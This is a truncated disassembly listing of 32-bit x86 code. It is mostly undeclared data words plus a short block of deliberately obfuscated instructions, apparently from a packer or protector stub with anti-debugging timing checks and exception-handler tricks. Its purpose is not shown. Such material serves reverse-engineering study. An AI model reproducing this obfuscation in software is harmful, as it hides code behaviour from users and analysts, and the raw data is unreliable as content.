5C895BC3h, 44810424h, 190424h, 53430000h, 5FF8B3C3h dd 813DD8F6h, 0E05A75CBh, 0B70F5144h, 85C75BD9h, 5E419E5h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 31C35040h dd 41BB85C6h, 8166F9C4h, 67EAE6D3h, 0F2C8E944h, 6AFFFFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0F1273CC3h, 0ACB600B4h, 1F25BD8Bh, 0C18B05E4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0ABC35242h, 667826FCh dd 0EEC0C2CBh, 0E87A04EBh, 0A2E95E34h, 6D000005h, 0B66C73EAh dd 18028502h, 6BB7D651h, 0B36F6EE9h, 17008702h, 0C57CF1A8h dd 1B9458C2h, 0AF28AE74h, 0C245F228h, 186524C3h, 54EDCD1Ah dd 77B7EC9Ah, 527349C0h, 0E5B0B2F3h, 0CB0C4F04h, 0D651040Eh dd 62FAD0B7h, 4028D8F4h, 2BA0EAA7h, 6B5EDB0h, 553E3587h dd 0F776E507h, 0E34D0A10h, 2983F473h, 0EE69E03Ah, 4F2EB725h dd 5C1F476h, 2296704Fh, 0EBDC17A5h, 0F374E42Eh, 31714BD9h dd 3C91BD0h, 0EA305788h, 3EE4EB6Ch, 0D250ADB8h, 524F05C1h dd 6499B5E1h, 0BE6745CFh, 69ED7F4Dh, 0A99A15C7h, 0BF38BCE6h dd 6775F463h, 0D1A923ECh, 755D070Bh, 4BDEA468h, 0EF2BE44Ah dd 33EFEE69h, 2DAE2C84h, 6CB615F8h, 37356AEDh, 0B54F04FFh dd 1CC38942h, 4F04FF1Bh, 428BF7D5h, 2E14E201h, 0AF6Ah dd 8BF45B00h, 4F04F2A9h, 4E0FC80Bh, 6150C077h, 2C51E397h dd 0DC03598Ah, 4F05D35Ch, 5CC3496h, 2E15B63Eh, 9D9FE047h dd 1F4F05C6h, 114473DCh, 65000000h, 22D8BC0Dh, 9C278CC1h dd 0FBDB377Eh, 0DEFF587Dh, 8144C377h, 5CAC71A9h, 5D80163h dd 66B0634Fh, 450E8BD1h, 4B644E17h, 0B02BA11Fh, 0E5EF2B18h dd 69B51EB8h, 108F4FE1h, 0F7568BB8h, 11AB2EABh, 5374113Bh dd 261B1DE0h, 1BDD6F6Dh, 8432C8E0h, 2593A903h, 2F7B16A2h dd 8DD72BE3h, 73F46485h, 4BC476ACh, 8298FF8Eh, 0CB7850D7h dd 2DBF3ABFh, 0BA315D36h, 96465C03h, 0BC29BC19h, 714BC677h dd 0D0E86FEBh, 5CBDE5C5h, 187F1E99h, 7AFC5202h, 778EBC1h dd 108B404Ah, 0B037A2B8h, 0B5FD4D18h, 14CEF77Ch, 4F602Eh dd 77B70000h, 0EB714BC6h, 43D1EB6Eh, 15D83979h, 0AE2FFB9Ah dd 87366C33h, 2C11B008h, 4F04E64Eh, 5F386DAEh, 88F5547Dh dd 4F04E5AAh, 20CC90Ah, 2885D750h, 8CE72E52h, 0FD2E14CFh dd 6Ch, 4BC67718h, 0EA6DEB71h, 60A00ADEh, 3255CC81h, 64D6CCA5h dd 5E9314C2h, 0F87A4B0Ah, 744F04E5h, 99854E83h, 430256D1h dd 7D3B5477h, 5472200h, 551824Fh, 0C88D1A2Bh, 56021C51h dd 3A3F04D1h, 0DA4F04E8h, 3DCF9D1Ah, 0D05293B8h, 2C4F04E7h dd 5A22B6EBh, 1F61B0F0h, 0F26A149h, 0AE3C6CA1h, 50D8AB62h dd 1012E15h, 54000000h, 12106DCCh, 924F04E6h, 2FAAF4A1h dd 4D0A10A8h, 442EFECAh, 0BD3CBD5Ch, 280A7BDAh, 844F04E6h dd 94E78653h, 17F659DBh, 0CD4C0Bh, 0E911D623h, 0EFFD3E54h dd 0B81F9E5Dh, 6672F562h, 859D20EDh, 0C20557D6h, 54E9115Eh dd 0DA2B3EBAh, 54E91158h, 9A2E63D4h, 3753CC80h, 0ECB00887h dd 0F6CA020Eh, 4E0DEC14h, 81E9C8CFh, 6BEE2A88h, 2B67DCECh dd 917A4E01h, 555EC675h, 45AB8BBAh, 2A70D708h, 17682FA8h dd 54E9BF15h, 0E1EBA497h, 3E3C01E0h, 0BE54E9BFh, 0C176907Dh dd 3677246h, 0FE79FE1Fh, 0A2186BDFh, 6E4133F9h, 94000001h dd 2AED6FD8h, 0E903CCD5h, 8C4EA854h, 708ADE13h, 970259FBh dd 7444C774h, 0A71893FFh, 187F1E53h, 0E2E644B9h, 954654E9h dd 9E19DE38h, 0D99F8BCAh, 1344C377h, 0C5C18AB9h, 51309716h dd 0B3098049h, 0E2E14380h, 0A79854E9h, 54E9E2C5h, 9CAF427h dd 79FE0C4Ch, 9E50EAFEh, 7A855765h, 80CCCF6h, 4AB61CABh dd 6F93F782h, 0F06BED35h, 5B1F6BD8h, 0FA578CDCh, 0FDA0DB90h dd 0D255041Eh, 16144D86h, 9654E982h, 65D5E8A5h, 33F9651Eh dd 6C4Fh, 6DCC8E00h, 4E61210h, 0F4A1924Fh, 8CF4505h, 4E68537h dd 38D63C4Fh, 4142AAC2h, 69AAD481h, 7EF97CA6h, 2200C795h dd 0E24F057Ch, 45E7F572h, 35401893h, 8CC2D55h, 5C035A8Fh dd 7BA280FDh, 0D1024F05h, 18565A04h, 186528A2h, 4F057C6Ah dd 30AB20CAh, 55D28298h, 8F9BCC07h, 7E6152CDh, 78FFh, 10C2D800h dd 450EC597h, 0ED6FD814h, 0F6F8D52Ah, 117454E8h, 0F1656F39h dd 0E8D9EF9Eh, 54E9948Ah, 0E4F429EAh, 77169146h, 0EAAD2CABh dd 94383A0Bh, 43B454E9h, 93C1A39Ch, 0F02354E9h, 0ABB2B527h dd 0D154E994h, 71E6070Bh, 2BE4D7F6h, 0A899E6A9h, 0C5AD27Ah dd 0EC6BF1CBh, 0DE8F5F6Dh, 0C29611C4h, 2EC0A283h, 0FB3C4F11h dd 8181CD86h, 319416CFh, 0FA167BCCh, 7518DB54h, 67D6CCE0h dd 0B663D0E8h, 0C5880AC3h, 3ABD3C66h, 0CD1F1051h, 548754EDh dd 6471E604h, 0EDCD191Bh, 67589B54h, 0BA3DBA60h, 930ECFDBh dd 4EAD92C6h, 0CAB0C9D1h, 2E3C8C0Bh, 0E9B31AEh, 6ABC74BCh dd 7AF11010h, 9146DCC3h, 36B84216h, 0F55F2FBDh, 45EF6C8Dh dd 0A2251691h, 9578F378h, 8451C88Dh, 0F6DD4h, 6B80000h dd 66FA7BA7h, 0E2A62F24h, 430C413Dh, 4DC4770Ah, 0EF6EED7Fh dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h dd 3EB930CAh, 5FD890AAh db 0Dh, 0B3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 4782h mov [esp], eax push 6B21h mov [esp], edi mov eax, 7EBC6D94h inc eax push ebp mov ebp, 7B548A8Fh xor eax, ebp pop ebp push 71C6h mov [esp], esp add dword ptr [esp], 4 pop edi push eax push eax mov eax, 51DD6067h add [esp+4], eax pop eax pop dword ptr [edi+8] sub dword ptr [edi+8], 51DD6067h mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- dd 0EC35B8EFh, 0C50305E8h, 7603E0FFh, 0BDDF0127h, 8FF90189h dd 0BB3F0998h, 0CB5D4573h, 2B1B7088h, 15BF19CBh, 0CBDD1296h dd 5CEC3B64h, 77A7806h, 4027254Eh, 0E1AF75D0h, 0C82E083Eh dd 858D556Eh, 5E419D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 8DC35242h, 7FF8D30Fh, 8B75623Bh, 525090F9h dd 0FDA8B66h, 0F525031h, 81h, 8A310F00h, 5A585ADAh, 870F5058h dd 7, 9705BF51h, 905B6C88h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 4DC35242h, 0BEDD3168h, 0DDB8166h, 0F6057AEh dd 87h, 1BD8900h, 6105E421h, 8B006A5Bh, 6A006ADEh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 6FCAC352h, 0C46FC5F3h, 0BE8h, 0F6781600h, 25E66C73h dd 417ADE66h, 11659D8Bh, 8D5B05E4h, 0E8EF1F85h, 0D9D8B05h dd 8305E42Ah, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 669ACCC3h, 0F51DE8Bh, 58Ah, 0A6BABB00h dd 505B4FACh, 0C1B37BBBh, 24048905h, 6A23E380h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 64C8FDBCh, 230FE68h, 0DE8B77B2h, 4118D89h, 6A05E4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 43C35747h dd 6DA38823h, 964442DDh, 19BD8B4Ch, 0FF05E423h, 0E421A195h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0B91FC9E0h, 0D88BE8E6h, 9E7F8D8Dh, 0BD8B05E7h dd 5E419E9h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 831F96C3h, 0E42995BDh, 850F0105h dd 5Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 57C35747h, 0F4EAC41Ch, 8086CB5Ah, 26A83DBh, 8E9h, 0E758C900h dd 84D7893h, 48950EAh, 0BE824h, 2F6F0000h, 0ABE4F769h dd 7EA0DE6Ch, 0C5BD896Ah, 5F05E408h, 104595FFh, 9D0B05E4h dd 5E40FD5h, 0C5FE9h, 0E800h, 815D0000h, 0E8EF29EDh, 1BD2305h dd 6A05E413h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0F826C356h, 1F3CAC58h, 8988DAF2h dd 0E4280DB5h, 68858D05h, 6A05E781h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0A936C356h dd 6650F851h, 8978BCBBh, 0BD892404h, 5E426E9h, 35FF64h dd 0B7000000h, 25896405h, 0 dd 10B9BD31h, 85FF05E4h, 5E4142Dh, 16999D29h, 958905E4h dd 5E4227Dh, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0CA433C3h, 0DFF6ACEAh, 0FFF19AF2h dd 0E431EDB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 4F8EC480h, 30ADB589h dd 8B6605E4h, 0AD95FFD8h, 0E905E42Dh, 0EFh, 419D03F5h dd 0B005E424h, 830F6000h, 3, 80F88B66h, 0E66125CCh, 6D9D8B70h dd 8905E40Dh, 0E4237D8Dh, 8071E405h, 613C6AEBh, 0BD830Fh dd 0BD8B0000h, 5E413E9h, 66C8B60Fh, 6BAF98Bh, 8A000000h dd 0FC18BFDh, 0E8C1FFBFh, 9F41BB04h, 0F76608ACh, 66C82BE2h dd 791BCB81h, 0DB80D18Bh, 89E967h, 830F0000h, 3, 8BFE8B66h dd 554C5085h, 0CD9D8947h, 8305E408h, 0CE907C0h, 25000000h dd 6C98F7FDh, 1E5BDF95h, 83A3FBE8h, 0B70F00C0h, 0FD03BFAh dd 1183h, 2DBD8B00h, 0E905E400h, 47h, 2781BD89h, 8D8B05E4h dd 0FFFFFFFFh, 6850Fh, 0BD8B0000h, 5E42A9Dh, 0E183F98Bh dd 24840F01h, 89000000h, 0E41DA99Dh, 0FFA58305h, 0FEFFFFFFh dd 6DBD8960h, 6105E42Eh, 4C509589h, 0BB664755h, 0E97C58h dd 8D000000h, 0E8689FB5h, 9E805h, 23370000h, 6B17901Ch dd 0E99EC6A8h, 13h, 0E7BA6760h, 821D5FA5h, 89967BEBh, 71C3C0CDh dd 5FCBB28Eh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0BD8B90C3h, 5E42261h, 10C195FFh dd 8D8905E4h, 5E408F5h, 5800Fh, 81660000h, 0B9E05DEBh dd 0E3Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0B6C35141h, 0B19D2960h, 0B805E432h, 0A5597C4h dd 0FCE18361h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 75C35747h, 11E8B967h, 73000000h, 7263BEB2h, 2F17C4A7h dd 0DC3476E1h, 0DC6972C5h, 89616060h, 0E42201B5h, 0FC5F6105h dd 0B8h, 0B58B6000h, 5E4204Dh, 68E0Fh, 9D090000h, 5E42841h dd 66D22B61h, 33ADD88Bh, 3E8D1C2h, 4E983D0h, 9E8F475h dd 47000000h, 0ED1A9F7Dh, 209B4A9Fh, 7EA0BA60h, 61FC62CCh dd 518D895Bh, 6A05E424h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 6F20C356h, 64AE3769h dd 9D8992C6h, 5E40841h, 9CA529BBh, 880D66h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 1ED908C3h, 11E8h, 8FE8A200h, 2D71B35h, 0FD53499Fh, 8962C745h dd 0BD8B7F11h, 5E42AE5h, 95958B5Bh, 6605E410h, 8D8BDE8Bh dd 5E42C65h, 31E9BD8Bh, 8B5005E4h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 9360ABFh, 61D78125h, 663FB231h dd 83AE58BBh, 0E42135BDh, 840F0005h, 47h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 7AC35040h, 746DD8C6h dd 49B53164h, 0B805E421h, 0 dd 4C308D8Dh, 0EE905E4h, 0FF000000h, 34BF7CB3h, 616DDF17h dd 4D7C29FAh, 83E1FFE4h, 0E430FDBDh, 840F0005h, 3F8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h, 3220E41Eh dd 8BA0122Fh, 8371B3FAh, 0E430FDBDh, 840F0105h, 3DFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 5FC35545h, 3347BB1h dd 5910E73Fh, 0FDBD83A4h, 305E430h, 377860Fh, 9D8B0000h dd 5E407A5h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 6623E0C1h, 6AD98Ch, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E09788C3h dd 0F59D0B59h, 8005E412h, 3ABF04E1h, 0A7157FCh, 0D7840FC9h dd 8B000000h, 0E42C9D85h, 69E38105h, 336D6C63h, 0E4209985h dd 0A8A0F05h, 60000000h, 31898D89h, 616005E4h, 2BBF5061h dd 89484DE7h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0A00CBAC3h, 0D61AEE9Ch, 6AB532h dd 29D19D8Bh, 0D96805E4h, 8A756CB6h, 243481D8h, 7573B526h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 45C35646h dd 0DCDBFE95h, 0A250D922h, 0FFDF8B54h, 0E4015995h, 618D8905h dd 8905E423h, 0E79F5F85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0F3E929F9h dd 0E9000001h, 12h, 28F91E7Ah, 0D553E142h, 16744705h, 21F815AEh dd 858B13B6h, 5E79F57h, 0C7FE8Bh, 18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 22C35646h, 0BE8DCh, 67C80000h dd 617AFED2h, 0C6FF9689h, 9D8B56CBh, 5E42189h, 0B58B5F5Bh dd 5E79F5Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0F1C35747h, 319D9D29h, 0BF6605E4h, 858B60DAh, 5E42A21h dd 31E58589h, 68905E4h, 3800Fh, 0CB800000h, 51BB6693h dd 9D858B25h, 6A05E42Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 92DAC350h, 8435BEACh dd 5195898Ah, 0E905E420h, 0Bh, 16528537h, 8B310E8Ch, 89FD70AEh dd 95310446h, 5E41195h, 50FEBF0Fh, 60A2B660h, 66C38B66h dd 6161FE8Bh, 0F243489h, 681h, 9BD0300h, 0FF05E411h, 0E79F57B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0D7245D9Eh, 3A471BC5h, 99D2989h, 0E805E408h dd 4, 1F03FFh, 62B86660h, 53506145h, 5FDF8B66h, 424448Bh dd 310F5250h, 0F88A5250h, 9E8310Fh, 66000000h, 0C499597Fh dd 93AEEC11h, 5A585A5Bh, 53008B58h, 895F5F53h, 0B3042444h dd 858D586Eh, 5E79F5Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0CC35242h, 0D3806EE4h, 0D59D0B14h, 5005E403h dd 56525060h, 0F310F5Eh, 8Ch, 61585A00h, 60240489h, 108D9529h dd 9D8B05E4h, 5E41A65h, 5995FF61h, 6A05E401h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0ECE2C357h, 2E6DB531h, 896105E4h, 0E40F598Dh, 0FD85C705h dd 305E430h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 9E4EC350h, 8383733Bh dd 0E79F5FBDh, 840F0005h, 29h, 0E9DBB70Fh, 3Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D0C35646h, 21761405h dd 0C305004h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 9D8B8AB7h, 5E41341h, 30FDBD83h, 0F0305E4h dd 38B85h, 5FBD8300h, 5E79Fh, 37E840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 50D47CC3h, 0EB417897h, 13E8h, 0E2AD3700h, 0B50245F6h dd 8A98C502h, 0E5C804A5h, 855C3EE2h, 0FECB8166h, 0B5FF5B13h dd 5E79F5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 94C35747h, 95E6DCBFh, 1A44BB66h, 1C1595FFh, 0FC8A05E4h dd 9F53B58Bh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 1C8274C3h, 4230BE01h, 60BFDF99h dd 8BF98B66h, 0E40859B5h, 6C76105h, 10001h, 75BD8Bh, 895005E4h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0C14BCAC3h, 5278FC85h, 31659589h, 0FF5F05E4h dd 0E79F5FB5h, 0FFFB8B05h, 0E4172D95h, 8BF98B05h, 0E79F53B5h dd 39BD8905h, 0F05E41Dh, 684h, 0E9BD8B00h, 8B05E42Ah, 0E41D1D85h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0B753225Eh, 8689F96Bh, 0C4h, 0E850Fh, 33600000h dd 0E4318D9Dh, 818D0105h, 6105E40Fh, 1095958Bh, 6A05E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0DBB3ECC3h, 0C2832373h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BB66D666h dd 5089075Dh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0E4B8D3CFh, 12FE3A0Ah, 858D5D19h dd 5E7B384h, 19BDBD8Bh, 868905E4h, 0B8h, 266DB509h, 6A05E4h dd 5FB5FFF9h, 3105E79Fh, 0E42A958Dh, 4595FF05h, 2905E410h dd 0E40CC5BDh, 0BB665005h, 3489C9ADh, 119D0B24h, 0FF05E424h dd 0E79F5FB5h, 0A5BD3305h, 0FF05E419h, 0E4136595h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BD835A7Ah, 5E408F9h, 4C840F00h, 0F000000h, 1E85h, 12E800h dd 7E550000h, 0D7550CC5h, 0CEBFF64Ch, 4DBB4128h, 9122A4B9h dd 31B4CB81h, 965B1279h, 0FA48BB66h, 11E850h, 56690000h dd 5B61DCB0h, 0A58FD808h, 0DD951A37h, 667DCE7Ah, 5BBB87BFh dd 59E78196h, 0FF395FEDh, 0E79F5FB5h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 6B39CD78h, 767A3BAh, 9D89AB21h, 5E41441h, 29C595FFh dd 0B5FF05E4h, 5E79F5Fh, 0DE9h, 0E0EAF800h, 6B771DB2h dd 0A4146348h, 95FFAA1Fh, 5E41971h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 7C35141h, 0BF0F9F0Ch, 25BD83DAh dd 205E431h, 60840Fh, 880F0000h, 5, 505909BBh, 91858B7Ah dd 6A05E411h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0A5D5C352h, 26558501h, 0BD8B05E4h dd 5E41A4Dh, 12E9h, 43A4C800h, 2CCA8884h, 3E922C07h, 0DC6EE40Ch dd 0C6A353C7h, 820F0000h, 6, 24558589h, 85C705E4h, 5E419E5h dd 0 dd 68B0Fh, 0B5890000h, 5E41431h, 0FFF4B7E9h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 36F01F0Ah, 2548ED0Dh, 14E8h, 0EAAE6500h, 0E0F448C6h dd 0F40931DCh, 0FD880D33h, 70AFA9BCh, 0DDB531F4h, 5F05E419h dd 0FE8h, 0BDF8B100h, 0BFE7E433h, 27149489h, 0A7AE9819h dd 5BF8B70Fh, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0EB81FDC3h, 5F970B97h, 19D5858Dh dd 6A05E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 97B14C3h, 0CB79DEEh, 89FA8B50h, 0F98B2404h dd 6AFFBF0Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 6A006A06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 3926C350h, 8B99D8Bh dd 858D05E4h, 5E8FD89h, 83FEBF0Fh, 90F905C0h, 0DE9h, 81E39500h dd 72B95345h, 465D2035h, 6050740Ah, 0D959BA66h, 906107B1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5DC35040h dd 8166115Eh, 6A68E1F3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0CC57E55h, 0F64CD755h dd 2121BD89h, 6A05E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 54C35545h, 95FFF88Bh, 5E421A1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 32C35545h, 0CFC135BDh dd 309D2AADh, 8DDABF0Fh, 0E79E7F8Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0AD5F7540h dd 69A43E7Ah, 81663DEEh, 0FFCA58D3h, 53006AD1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0D4DFC88Eh dd 9E9h, 0BDB0FD00h, 1D76A83Bh, 0BD8306D3h, 5E42995h, 5F850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 13FAC352h, 8A51026Ah, 0BD0B5FDDh dd 5E41E15h, 50D98B90h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0DAC177Bh, 4E0A607Bh dd 9985891Eh, 0FF05E413h, 0E4104595h, 93E9F805h, 0E800000Ch dd 0 dd 93ED815Dh, 0E905E8FDh, 0Dh, 82F820EAh, 1C2A0278h, 23A8BE29h dd 68858D1Fh, 6605E781h, 5B18D381h, 0F890F50h, 0E9000000h dd 0Ah, 0A791DFABh, 8BA071FDh, 48957CFh, 57006A24h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B464C426h, 89BD8B75h, 6405E407h, 35FFh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0C177C3C3h, 2B677739h, 0DBDBD89h, 896405E4h, 25h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0FBDD1C1Eh, 2A1D9589h, 85FF05E4h, 5E4142Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 17C35141h, 662574ECh dd 0E8F9D88Bh, 8, 26600740h, 0EA511304h, 2D53BF66h, 6AFF6A5Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 7AACC353h, 8B67E5E7h, 0E40C95BDh, 95953105h dd 8005E411h, 0B5FFC1C3h, 5E41611h, 11DD9D8Bh, 95FF05E4h dd 5E42DADh, 0F5E9h, 91BD8B00h, 0B005E403h, 6985BF00h dd 70E623F1h, 958971E4h, 5E40DB9h, 830F613Ch, 0D6h, 0B60F5F51h dd 0CDBD8BC8h, 0BF05E424h, 79E6DDBFh, 6BAh, 0E1BD8B00h dd 8B05E403h, 0FABF0FC1h, 2904E8C1h, 0E4173995h, 0E2F76605h dd 0FF1BD8Bh, 0C82B05E4h, 8BD18BF5h, 0E42D059Dh, 94E905h dd 9D8B0000h, 5E41729h, 4E49858Bh, 0C0834400h, 287EBF07h dd 9D8B6351h, 5E41355h, 8B00C083h, 0FD03BDFh, 1483h, 5E506000h dd 31099529h, 0F6105E4h, 5BE9FBB7h, 8B000000h, 0FF8D8BFBh dd 0E8FFFFFFh, 14h, 0EE8650BDh, 0D66547DCh, 0F65D102Bh dd 25D1524Eh, 70779CD7h, 6BD62CBBh, 0E1835F5Eh, 2B840F01h dd 89000000h, 0E4076995h, 0FFA58305h, 0FEFFFFFFh, 6E951h dd 6FFE0000h, 0C541CA27h, 4995895Bh, 2944004Eh, 0E41041BDh dd 0E905h, 0B58D0000h, 5E876DEh, 0D04131BBh, 6A006A35h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0EEE0C353h, 0F757016h, 0FF8925CBh, 0E410C195h dd 919D8B05h, 0B905E429h, 0FF9h, 3BF78166h, 0FCE1833Dh dd 2615B501h, 6AFC05E4h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8BA2C352h, 0BD2956DEh dd 5E42B89h, 6AC02B5Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0E189C351h, 0BA8D0948h dd 0 dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 2799B589h, 6A05E4h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 3F0B3FC3h, 0F8791BFh, 581h, 42DEBB00h, 13E87474h, 2F000000h dd 2B1141Eh, 0FA455EE9h, 67FD1555h, 0D18293B1h, 0BF0FB675h dd 880D5FDAh, 0E8000000h, 0Ah, 0E9707A37h, 9E01FCFCh, 8B5BCB04h dd 0E4109595h, 0C7816605h, 8D8B5FABh, 5E42C65h, 1499BD8Bh dd 8B5005E4h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 5870Fh, 81660000h, 6A7CABEFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0BECDC357h, 86B0C0E4h dd 0D7B2A24Eh, 0E9EB8156h, 5B54BF4Fh, 2135BD83h, 0F0005E4h dd 9A84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 705BA9F0h, 9F7B1200h, 0CEC38108h dd 6629AD23h, 8B88FCBBh, 0B8FAh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 7A8A57C3h dd 4BB6655h, 68D0F32h, 8B000000h, 0E41D49BDh, 308D8D05h dd 6A05E44Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 61C6C356h, 0DC97241Dh, 8D01C25Eh dd 5E43199h, 6BEDBB66h, 83FCE1FFh, 0E430FDBDh, 840F0005h dd 3A6h, 12E9h, 2E430600h, 807252E9h, 0E670D1D7h, 1E39A6A1h dd 833E2EFEh, 0E430FDBDh, 840F0105h, 39Dh, 2A2D8589h, 0BD8305E4h dd 5E430FDh, 54860F03h, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 889FC352h dd 0FE256E1Fh, 0B589F7EBh, 5E42BA1h, 8EBB6660h, 0D98C66BAh dd 4E180F9h, 0AF98B66h, 0CC840FC9h, 31000000h, 0E4219DBDh dd 9D858B05h, 6605E42Ch, 